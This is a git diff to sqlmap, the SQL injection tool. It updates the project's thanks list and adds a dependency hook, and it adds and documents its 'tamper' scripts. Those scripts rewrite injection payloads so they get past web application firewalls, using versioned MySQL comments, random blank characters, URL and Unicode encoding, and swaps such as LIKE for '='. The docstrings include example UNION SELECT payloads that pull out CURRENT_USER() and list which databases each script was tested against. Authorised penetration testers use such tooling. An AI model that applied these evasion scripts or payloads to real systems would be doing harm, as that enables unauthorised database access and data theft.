diff --git a/doc/THANKS b/doc/THANKS index 57438435b..b1ba327fd 100644 --- a/doc/THANKS +++ b/doc/THANKS @@ -26,6 +26,10 @@ Otavio Augusto Simon Baker for reporting some bugs +Ryan Barnett + for organizing the ModSecurity SQL injection challenge, + http://modsecurity.org/demo/challenge.html + Emiliano Bazaes for reporting a minor bug @@ -295,6 +299,9 @@ David McNab Spencer J. McIntyre for reporting a minor bug +Ahmad Maulana + for providing one tamper scripts, halfversionedmorekeywords.py + Enrico Milanese for reporting a bugs when using (-a) a single line User-Agent file for providing me with some ideas for the PHP backdoor @@ -327,6 +334,9 @@ Simone Onofri for patching the PHP web backdoor to make it work properly also on Windows +Michele Orru + for reporting a minor bug + Shaohua Pan for reporting several bugs for suggesting a few features @@ -545,7 +555,7 @@ pacman730 for reporting a bug Phat R. - for reporting a minor bug + for reporting a few bugs Phil P <@superevr> for suggesting a minor enhancement diff --git a/lib/core/option.py b/lib/core/option.py index 4a3019658..879bbdeb1 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -825,7 +825,7 @@ def __setTamperingFunctions(): if check_priority and priority > last_priority: message = "it seems that you might have mixed " message += "the order of tamper scripts.\n" - message += "Do you want to auto resolve this? [Y/n/q]" + message += "Do you want to auto resolve this? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): @@ -841,6 +841,8 @@ def __setTamperingFunctions(): last_priority = priority break + elif name == "dependencies": + function() if not found: raise sqlmapGenericException, "missing function 'tamper(value)' in tamper script '%s'" % tfile @@ -981,8 +983,9 @@ def __setPrefixSuffix(): else: boundary.ptype = 1 - # user who knows for --prefix/--suffix doesn't want other combinations - conf.boundaries = [boundary] + # user who provides --prefix/--suffix does not want other boundaries + # to be tested for + conf.boundaries = [ boundary ] def __setHTTPAuthentication(): """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index c63273586..1e899e3f8 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -7,18 +7,26 @@ Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ -import string - from lib.core.enums import PRIORITY -from lib.core.exception import sqlmapUnsupportedFeatureException __priority__ = PRIORITY.LOWEST +def dependencies(): + pass + def tamper(payload): """ - Replaces apostrophe character with it's UTF8 fullwidth counterpart - Example: "AND '1'='1'" becomes "AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87" - Reference: http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 + Replaces apostrophe character with its UTF-8 full width counterpart + + Example: + * Input: AND '1'='1' + * Output: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87 + + References: + * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 + * http://lukasz.pilorz.net/testy/unicode_conversion/ + * http://sla.ckers.org/forum/read.php?13,11562,11850 + * http://lukasz.pilorz.net/testy/full_width_utf/index.phps """ retVal = payload diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index a433ef6ac..ba0b23a97 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -7,16 +7,29 @@ Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ -import string - from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST +def dependencies(): + pass + def tamper(payload): """ - Appends encoded null byte character at the end of payload - Example: "AND 1=1" becomes "AND 1=1%00" + Appends encoded NULL byte character at the end of payload + + Example: + * Input: AND 1=1 + * Output: AND 1=1%00 + + Requirement: + * Microsoft Access + + Notes: + * Useful to bypass weak web application firewalls when the back-end + database management system is Microsoft Access - further uses are + also possible + Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection """ diff --git a/tamper/between.py b/tamper/between.py index 8ce472447..5a112fb56 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -11,10 +11,28 @@ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST +def dependencies(): + pass + def tamper(payload): """ - Replaces '>' with 'NOT BETWEEN 0 AND #' - Example: 'A > B' becomes 'A NOT BETWEEN 0 AND B' + Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' + + Example: + * Input: 'A > B' + * Output: 'A NOT BETWEEN 0 AND B' + + Tested against: + * Microsoft SQL Server 2005 + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass weak and bespoke web application firewalls that + filter the greater than character + * The BETWEEN clause is SQL standard. Hence, this tamper script + should work against all (?) databases """ retVal = payload diff --git a/tamper/charencode.py b/tamper/charencode.py index dba5786ab..39ac1cdd3 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -14,10 +14,29 @@ from lib.core.exception import sqlmapUnsupportedFeatureException __priority__ = PRIORITY.LOWEST +def dependencies(): + pass + def tamper(payload): """ - Urlencodes all characters in a given payload (not processing already encoded) - Example: 'SELECT FIELD FROM%20TABLE' becomes '%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45' + Url-encodes all characters in a given payload (not processing already + encoded) + + Example: + * Input: SELECT FIELD FROM%20TABLE + * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 + + Tested against: + * Microsoft SQL Server 2005 + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass very weak web application firewalls that do not + url-decode the request before processing it through their ruleset + * The web server will anyway pass the url-decoded version behind, + hence it should work against any DBMS """ retVal = payload diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index d39b4a874..7a7497e1d 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -10,14 +10,23 @@ See the file 'doc/COPYING' for copying permission import string from lib.core.enums import PRIORITY -from lib.core.exception import sqlmapUnsupportedFeatureException __priority__ = PRIORITY.LOWEST +def dependencies(): + pass + def tamper(payload): """ - Replaces payload with unicode-urlencode of non-encoded chars in payload (not processing already encoded) - Example: 'SELECT FIELD%20FROM TABLE' becomes '%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045' + Unicode-url-encodes non-encoded characters in a given payload (not + processing already encoded) + + Example: + * Input: SELECT FIELD%20FROM TABLE + * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045' + + Notes: + * Does this ever work? """ retVal = payload diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index b4d96a929..513504c1f 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -7,21 +7,41 @@ Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ +import os import re +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__)[:-3], DBMS.PGSQL)) + def tamper(payload): """ - Replaces all occurances of operator = with operator LIKE - Example: 'SELECT * FROM users WHERE id=1' becomes 'SELECT * FROM users WHERE id LIKE 1' + Replaces all occurances of operator equal ('=') with operator 'LIKE' + + Example: + * Input: SELECT * FROM users WHERE id=1 + * Output: SELECT * FROM users WHERE id LIKE 1 + + Tested against: + * Microsoft SQL Server 2005 + * MySQL 4, 5.0 and 5.5 + + Notes: + * Useful to bypass weak and bespoke web application firewalls that + filter the greater than character + * The LIKE operator is SQL standard. Hence, this tamper script + should work against all (?) databases """ def process(match): word = match.group() word = "%sLIKE%s" % (" " if word[0]!=" " else "", " " if word[-1]!=" " else "") + return word retVal = payload diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py new file mode 100644 index 000000000..88a64f485 --- /dev/null +++ b/tamper/halfversionedmorekeywords.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +""" +$Id$ + +Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/) +See the file 'doc/COPYING' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.data import kb +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY +from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS + +__priority__ = PRIORITY.HIGHER + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.0" % (os.path.basename(__file__)[:-3], DBMS.MYSQL)) + +def tamper(payload): + """ + Adds versioned MySQL comment before each keyword + + Example: + * Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa + * Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa + + Requirement: + * MySQL < 5.0 + + Tested against: + * MySQL 4.0.18 + + Notes: + * Useful to bypass several web application firewalls when the + back-end database management system is MySQL + * Used during the ModSecurity SQL injection challenge, + http://modsecurity.org/demo/challenge.html + """ + + def process(match): + word = match.group('word') + if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: + return match.group().replace(word, "/*!0%s" % word) + else: + return match.group() + + retVal = payload + + if payload: + retVal = re.sub(r"(?<=\W)(?P[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) + retVal = retVal.replace(" /*!0", "/*!0") + + return retVal diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 4ed51f849..18946befa 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -11,14 +11,31 @@ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST +def dependencies(): + pass + def tamper(payload): """ - Replaces 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' - Example: 'IFNULL(1, 2)' becomes 'IF(ISNULL(1), 2, 1)' + Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' + + Example: + * Input: IFNULL(1, 2) + * Output: IF(ISNULL(1), 2, 1) + + Requirement: + * MySQL + * SQLite (possibly) + * SAP MaxDB (possibly) + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the IFNULL() function """ if payload and payload.find("IFNULL") > -1: - while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") deepness = 1 diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index 504a09860..641127e3a 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -10,16 +10,26 @@ See the file 'doc/COPYING' for copying permission import random import re -from lib.core.common import randomRange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL +def dependencies(): + pass + def tamper(payload): """ - Adding multiple spaces around SQL keywords - Example: 'UNION SELECT' migth become ' UNION SELECT ' + Adds multiple spaces around SQL keywords + + Example: + * Input: UNION SELECT + * Output: UNION SELECT + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that has poorly written permissive regular expressions + Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt """ diff --git a/tamper/randomcase.py b/tamper/randomcase.py index d0efc2910..4b027453f 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -15,10 +15,27 @@ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL +def dependencies(): + pass + def tamper(payload): """ Replaces each keyword character with random case value - Example: 'INSERT' might become 'InsERt' + + Example: + * Input: INSERT + * Output: InsERt + + Tested against: + * Microsoft SQL Server 2005 + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that has poorly written permissive regular expressions + * This tamper script should work against all (?) databases """ retVal = payload diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 27cbb58c0..e6600ab6b 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -11,10 +11,25 @@ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW +def dependencies(): + pass + def tamper(payload): """ - Replaces ' ' with '/**/' - Example: 'SELECT id FROM users' becomes 'SELECT/**/id/**/FROM/**/users' + Replaces space character (' ') with comments '/**/' + + Example: + * Input: SELECT id FROM users + * Output: SELECT/**/id/**/FROM/**/users + + Tested against: + * Microsoft SQL Server 2005 + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass weak and bespoke web application firewalls """ retVal = payload diff --git a/tamper/space2extrarandomblank.py b/tamper/space2extrarandomblank.py new file mode 100644 index 000000000..e8b19d74d --- /dev/null +++ b/tamper/space2extrarandomblank.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python + +""" +$Id$ + +Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/) +See the file 'doc/COPYING' for copying permission +""" + +import os +import random + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__)[:-3], DBMS.MYSQL)) + +def tamper(payload): + """ + Replaces space character (' ') with a random blank character from a + valid set of alternate characters + + Example: + * Input: SELECT id FROM users + * Output: SELECT%0Bid%0BFROM%A0users + + Tested against: + * MySQL 5.1 + + Notes: + * Useful to bypass several web application firewalls + """ + + # ASCII table: + # \t 09 horizontal TAB + # \n 0A new line + # - 0C new page + # \r 0D carriage return + # - 0B vertical TAB (MySQL only) + # - A0 - (MySQL only) + blanks = ['%09', '%0A', '%0C', '%0D', '%0B', '%A0'] + retVal = payload + + if payload: + retVal = "" + quote, doublequote, firstspace = False, False, False + + for i in xrange(len(payload)): + if not firstspace: + if payload[i].isspace(): + firstspace = True + retVal += random.choice(blanks) + continue + + elif payload[i] == '\'': + quote = not quote + + elif payload[i] == '"': + doublequote = not doublequote + + elif payload[i]==" " and not doublequote and not quote: + retVal += random.choice(blanks) + continue + + retVal += payload[i] + + return retVal diff --git a/tamper/space2plus.py b/tamper/space2plus.py index f20e7d648..d148bc266 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -11,10 +11,21 @@ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW +def dependencies(): + pass + def tamper(payload): """ - Replaces ' ' with '+' - Example: 'SELECT id FROM users' becomes 'SELECT+id+FROM+users' + Replaces space character (' ') with plus ('+') + + Example: + * Input: SELECT id FROM users + * Output: SELECT+id+FROM+users + + Notes: + * Is this any useful? The plus get's url-encoded by sqlmap engine + invalidating the query afterwards + * This tamper script works against all databases """ retVal = payload diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index ff147cc08..cab611ded 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -13,13 +13,34 @@ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW +def dependencies(): + pass + def tamper(payload): """ - Replaces ' ' with a random blank char from a set ('\r', '\n', '\t') - Example: 'SELECT id FROM users' becomes 'SELECT\rid\tFROM\nusers' + Replaces space character (' ') with a random blank character from a + valid set of alternate characters + + Example: + * Input: SELECT id FROM users + * Output: SELECT\rid\tFROM\nusers + + Tested against: + * Microsoft SQL Server 2005 + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass several web application firewalls """ - blanks = ['\r', '\n', '\t'] + # ASCII table: + # \t 09 horizontal TAB + # \n 0A new line + # - 0C new page + # \r 0D carriage return + blanks = ['%09', '%0A', '%0C', '%0D'] retVal = payload if payload: @@ -46,4 +67,3 @@ def tamper(payload): retVal += payload[i] return retVal - diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index e5d926ec8..246d7d011 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -7,18 +7,38 @@ Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ +import os import re -from lib.core.common import randomRange +from lib.core.common import singleTimeWarnMessage from lib.core.data import kb +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__)[:-3], DBMS.MYSQL)) + def tamper(payload): """ Encloses each non-function keyword with versioned MySQL comment - Example: 'INSERT' will become '/*!INSERT*/' + + Example: + * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# + * Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# + + Requirement: + * MySQL + + Tested against: + * MySQL 4.0.18 + * MySQL 5.1.56 + * MySQL 5.5.11 + + Notes: + * Useful to bypass several web application firewalls when the + back-end database management system is MySQL """ def process(match): diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 8f26aeabb..93c8545b2 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -10,18 +10,35 @@ See the file 'doc/COPYING' for copying permission import os import re -from lib.core.common import randomRange from lib.core.common import singleTimeWarnMessage from lib.core.data import kb +from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.HIGHER +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__)[:-3], DBMS.MYSQL)) + def tamper(payload): """ - Encloses each keyword with versioned MySQL comment (MySQL >= 5.1.13) - Example: 'INSERT' will become '/*!INSERT*/' + Encloses each keyword with versioned MySQL comment + + Example: + * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# + * Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# + + Requirement: + * MySQL >= 5.1.13 + + Tested against: + * MySQL 5.1.56 + * MySQL 5.5.11 + + Notes: + * Useful to bypass several web application firewalls when the + back-end database management system is MySQL """ def process(match): @@ -31,8 +48,6 @@ def tamper(payload): else: return match.group() - singleTimeWarnMessage("tamper script '%s' is only meant to be run against MySQL >= 5.1.13" % os.path.basename(__file__)) - retVal = payload if payload: